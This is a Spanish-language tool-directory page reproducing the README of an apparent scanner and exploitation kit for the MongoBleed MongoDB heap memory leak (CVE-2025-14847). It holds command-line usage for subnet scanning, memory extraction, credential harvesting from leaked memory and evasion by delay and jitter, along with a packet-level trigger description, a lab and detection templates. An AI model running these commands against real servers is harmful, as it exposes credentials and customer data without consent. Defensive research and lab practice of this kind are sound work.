Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
MongoBleed — CVE-2025-14847 (MongoBleed) scanner y herramienta de explotación. Fuga de memoria heap de MongoDB no autenticada mediante descompresión zlib. Incluye detección, extracción de memoria, análisis de credenciales, escaneo CIDR/lote, plantillas Nuclei y laboratorio CTF. | Kitploit
Herramientas/GitHubGitHub/sho-luv/mongobleed
Escáneres de VulnerabilidadesForensia de MemoriaMapeo de RedesExplotaciónCTFPruebas de PenetraciónAprendizaje y EducaciónSeguridad de Bases de DatosLabs y Práctica
GitHubsho-luv/mongobleed

MongoBleed

CVE-2025-14847 (MongoBleed) scanner y herramienta de explotación. Fuga de memoria heap de MongoDB no autenticada mediante descompresión zlib. Incluye detección, extracción de memoria, análisis de credenciales, escaneo CIDR/lote, plantillas Nuclei y laboratorio CTF.

2hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

MongoBleed

CVE-2025-14847 Escáner y Kit de Explotación

Un kit de investigación de seguridad para MongoBleed, una fuga de memoria crítica no autenticada en la descompresión zlib de MongoDB que permite a atacantes extraer datos sensibles de la memoria heap del servidor sin autenticación.

root@kitploit:~
╔╦╗┌─┐┌┐┌┌─┐┌─┐╔╗ ┬  ┌─┐┌─┐┌┬┐
║║║│ │││││ ┬│ │╠╩╗│  ├┤ ├┤  ││
╩ ╩└─┘┘└┘└─┘└─┘╚═╝┴─┘└─┘└─┘─┴┘
CVE-2025-14847 Scanner & Exploit

Inicio Rápido

root@kitploit:~
# Sin dependencias externas -- solo biblioteca estándar de Python 3
cd cli

# Detectar si un objetivo es vulnerable (acción por defecto)
python mongobleed.py -t localhost:27017

# Escanear toda una subred
python mongobleed.py -t 192.168.1.0/24

# Extraer memoria y analizar en busca de credenciales
python mongobleed.py -t target:27017 -e --credentials

# Modo seguro -- solo detección, sin explotación
python mongobleed.py -t target:27017 -s

Estructura del Repositorio

root@kitploit:~
MongoBleed/
├── cli/                          # Herramienta CLI de escaneo y explotación
│   ├── mongobleed.py             # Herramienta CLI principal
│   ├── requirements.txt          # Dependencias Python (solo stdlib)
│   └── README.md                 # Documentación CLI
├── lab/                          # Entorno de laboratorio CTF basado en Docker
│   ├── docker-compose.yml        # Configuración multi-contenedor para el laboratorio
│   ├── vulnerable/               # Configuraciones vulnerables de MongoDB
│   ├── patched/                  # MongoDB parcheado para comparación
│   ├── no-zlib/                  # No explotable (zlib deshabilitado)
│   ├── monitoring/               # Panel de visualización de ataques
│   ├── warmup-heap.sh            # Poblar el heap con datos sensibles
│   └── README.md                 # Instrucciones de configuración del laboratorio
├── nuclei/                       # Plantillas de escaneo Nuclei
│   ├── CVE-2025-14847.yaml       # Plantilla de explotación activa
│   ├── CVE-2025-14847-safe.yaml  # Plantilla de detección segura
│   └── README.md                 # Documentación de plantillas Nuclei
├── docs/                         # Documentación educativa
│   ├── README.md                 # Índice de rutas de aprendizaje
│   ├── 01-fundamentals.md        # Conceptos básicos de MongoDB y memoria
│   ├── 02-vulnerability.md       # Inmersión profunda en CVE-2025-14847
│   ├── 03-exploitation.md        # Explotación práctica
│   ├── 04-detection.md           # Caza y detección
│   └── 05-defense.md             # Estrategias de mitigación
└── README.md                     # Este archivo

Características

Herramienta CLI

  • Huella digital de versión y detección de compresión (zlib/snappy/zstd)
  • Detección de vulnerabilidad con opción de modo seguro
  • Extracción de memoria mediante escaneo de offsets (rango configurable)
  • Detección de patrones de credenciales (16 patrones: contraseñas, claves API, JWTs, claves AWS, URIs MongoDB, etc.)
  • Soporte de notación CIDR (192.168.1.0/24, 10.0.0.0/16:27018)
  • Escaneo por lotes desde archivos de objetivos con multi-hilo
  • Modo de extracción continua
  • Extracción de cadenas imprimibles y volcado hexadecimal
  • Salida JSON y exportación a archivo
  • Controles de evasión (retardo, jitter)
  • Salida de terminal coloreada

Entorno de Laboratorio

  • Múltiples versiones vulnerables de MongoDB (4.4.29, 6.0.26, 8.0.16)
  • Versión parcheada para comparación (8.0.17)
  • Versión sin zlib que demuestra la mitigación
  • Pre-poblado con datos sensibles realistas
  • Banderas estilo CTF para aprendizaje
  • Panel de monitoreo con visualización de ataques
  • Script de calentamiento del heap para demostraciones de explotación fiables

Plantillas Nuclei

  • Plantilla de detección segura (solo comprobación de versión + compresión)
  • Plantilla de explotación activa (versión + confirmación de zlib)

Uso

Detección

root@kitploit:~
# Comprobar un solo objetivo
python mongobleed.py -t localhost:27017

# Comprobar con salida detallada
python mongobleed.py -t localhost:27017 -v

# Modo seguro -- solo detección, nunca envía payload de explotación
python mongobleed.py -t localhost:27017 -s

# Mostrar información de versión
python mongobleed.py -t localhost:27017 --version

Escaneo de Red

root@kitploit:~
# Escanear una subred /24
python mongobleed.py -t 192.168.1.0/24

# CIDR con puerto personalizado
python mongobleed.py -t 10.0.0.0/24:27018

# Escanear desde archivo de objetivos (los rangos CIDR en el archivo se expanden)
python mongobleed.py -T targets.txt -j 20 -o results.json

# El archivo de objetivos puede contener IPs, host:puerto y rangos CIDR
cat targets.txt
# 192.168.1.100:27017
# 10.0.0.0/24
# mongodb.internal:27017

Extracción de Memoria

root@kitploit:~
# Extraer memoria (rango de offset por defecto 20-8192)
python mongobleed.py -t target:27017 -e

# Rango de offset personalizado
python mongobleed.py -t target:27017 -e --min-offset 20 --max-offset 500

# Extracción continua (Ctrl+C para detener)
python mongobleed.py -t target:27017 --continuous

# Forzar extracción incluso si la comprobación de versión no es concluyente
python mongobleed.py -t target:27017 -e --force

Análisis

root@kitploit:~
# Analizar memoria filtrada en busca de credenciales y secretos
python mongobleed.py -t target:27017 -e --credentials

# Analizar específicamente en busca de tokens
python mongobleed.py -t target:27017 -e --tokens

# Extraer cadenas imprimibles
python mongobleed.py -t target:27017 -e --strings

# Salida en volcado hexadecimal
python mongobleed.py -t target:27017 -e --hexdump

Evasión

root@kitploit:~
# Añadir retardo entre solicitudes (milisegundos)
python mongobleed.py -t target:27017 -e --delay 500

# Jitter aleatorio sobre el retardo
python mongobleed.py -t target:27017 -e --delay 1000 --jitter

Plantillas Nuclei

root@kitploit:~
# Solo detección segura
nuclei -t nuclei/CVE-2025-14847-safe.yaml -u mongodb://localhost:27017

# Detección activa
nuclei -t nuclei/CVE-2025-14847.yaml -u mongodb://localhost:27017

# Escanear múltiples objetivos
nuclei -t nuclei/ -l targets.txt

Entorno de Laboratorio

root@kitploit:~
# Iniciar todos los contenedores
cd lab && docker compose up -d

# Servicios:
# - localhost:27017  MongoDB 4.4.29 (Vulnerable + zlib)
# - localhost:27018  MongoDB 6.0.26 (Vulnerable + zlib)
# - localhost:27019  MongoDB 8.0.16 (Vulnerable + zlib)
# - localhost:27020  MongoDB 8.0.17 (Parcheado)
# - localhost:27021  MongoDB 8.0.16 (Sin zlib - no explotable)
# - localhost:8080   Panel de Monitoreo

# Calentar el heap con datos sensibles antes de la explotación
./warmup-heap.sh 27017 50

# Ejecutar exploit contra el laboratorio
cd ../cli
python mongobleed.py -t localhost:27017 -e --credentials

Opciones de CLI

Objetivo: -t, --target TARGET Host:puerto objetivo o rango CIDR (ej. 192.168.1.0/24) -T, --targets FILE Archivo con lista de objetivos (soporta CIDR por línea)

Detección: --detect Detectar si el objetivo es vulnerable (acción por defecto) --version Mostrar versión de MongoDB -s, --safe Modo seguro - solo detección, sin explotación

Explotación: -e, --extract Extraer memoria mediante escaneo de offsets --min-offset N Offset mínimo a sondear (por defecto: 20) --max-offset N Offset máximo a sondear (por defecto: 8192) --continuous Modo de extracción continua --force Forzar extracción incluso si falla la comprobación de versión

Análisis: --credentials Analizar en busca de credenciales --tokens Analizar en busca de tokens --strings Extraer cadenas imprimibles --hexdump Mostrar volcado hexadecimal

Evasión: --delay MS Retardo entre solicitudes (milisegundos) --jitter Jitter aleatorio en el retardo

Salida: -o, --output FILE Archivo de salida (JSON) -v, --verbose Salida detallada -q, --quiet Modo silencioso --json Salida JSON --no-color Deshabilitar colores

Conexión: --timeout SECS Tiempo de espera de conexión (por defecto: 10) -j, --threads N Hilos para escaneo por lotes (por defecto: 10)

Patrones de Detección de Credenciales

La herramienta busca en la memoria extraída los siguientes patrones:

Detalles de CVE-2025-14847

Versiones Afectadas

Cómo Funciona

MongoBleed explota una falla en la descompresión de mensajes zlib de MongoDB (message_compressor_zlib.cpp). El código vulnerable devuelve el tamaño del búfer asignado en lugar de la longitud real descomprimida, permitiendo a los atacantes leer memoria heap no inicializada.

root@kitploit:~
1. CONECTAR (sin autenticación requerida)
              ↓
2. ENVIAR OP_COMPRESSED MALFORMADO
   ┌──────────────────────────────────┐
   │ originalOpcode: OP_MSG (2013)    │
   │ uncompressedSize: INFLADO        │ ← Disparador del bug
   │ compressorId: zlib (2)           │
   │ compressedMessage: [datos pequeños] │
   └──────────────────────────────────┘
              ↓
3. EL SERVIDOR ASIGNA BÚFER SOBREDIMENSIONADO
   [ datos reales pequeños | memoria heap no inicializada ]
              ↓
4. EL ANALIZADOR BSON LEE BASURA DEL HEAP
   La longitud inflada del documento hace que el analizador
   lea más allá de los datos reales dentro de la memoria heap
              ↓
5. LA RESPUESTA DE ERROR FILTRA MEMORIA
   "invalid BSON field name 'password=secret123...'"

Qué Puede Filtrarse

  • Credenciales y contraseñas de bases de datos
  • Claves API y tokens
  • Tokens de sesión y JWTs
  • Cadenas de conexión de MongoDB
  • Secretos de aplicación desde la memoria
  • PII de clientes de consultas recientes
  • Datos de configuración interna

Créditos

  • Joe Desimone (Elastic Security) - PoC original y nombramiento de la vulnerabilidad
  • Equipo de Seguridad de MongoDB - Desarrollo del parche
  • Wiz Research - Análisis de explotación en la naturaleza
  • Eric Capuano - Firmas de detección y artefacto Velociraptor

Referencias

  • Aviso de Seguridad de MongoDB
  • Blog de Wiz - Análisis de MongoBleed
  • Cazando MongoBleed - Eric Capuano
  • PoC original - joe-desimone/mongobleed
  • NVD - CVE-2025-14847

Aviso Legal

Este kit se proporciona únicamente con fines de pruebas de seguridad autorizadas, investigación y educación. Úselo solo contra sistemas que posea o para los que tenga permiso explícito de prueba. El acceso no autorizado a sistemas informáticos es ilegal.

Licencia

Licencia MIT

Descargar herramienta
TipoPatrón de Ejemplo
contraseñapassword: value, passwd=value
secretosecret: value
clave_apiapi_key: sk_live_...
tokentoken: ... (16+ caracteres)
token_bearerBearer eyJ...
jwteyJ... (JWT en Base64)
uri_mongodbmongodb://user:pass@host
uri_postgrespostgresql://...
uri_redisredis://...
clave_stripesk_live_...
clave_openaisk-... (48+ caracteres)
clave_awsAKIA...
token_githubghp_...
token_slackxoxb-..., xoxp-...
bandera_ctfFLAG{...}
ElementoValor
CVECVE-2025-14847
NombreMongoBleed
CWECWE-130 (Manejo Inadecuado del Parámetro de Longitud)
CVSS8.7 (Alto)
TipoFuga de Memoria No Autenticada
Divulgado19 de diciembre de 2025
Explotado en la naturaleza29 de diciembre de 2025
RamaVulnerableParcheada
8.2.x8.2.0 - 8.2.28.2.3
8.0.x8.0.0 - 8.0.168.0.17
7.0.x7.0.0 - 7.0.277.0.28
6.0.x6.0.0 - 6.0.266.0.27
5.0.x5.0.0 - 5.0.315.0.32
4.4.x4.4.0 - 4.4.294.4.30
4.2.xTodas las versionesFin de vida - Sin parche
4.0.xTodas las versionesFin de vida - Sin parche
3.6.xTodas las versionesFin de vida - Sin parche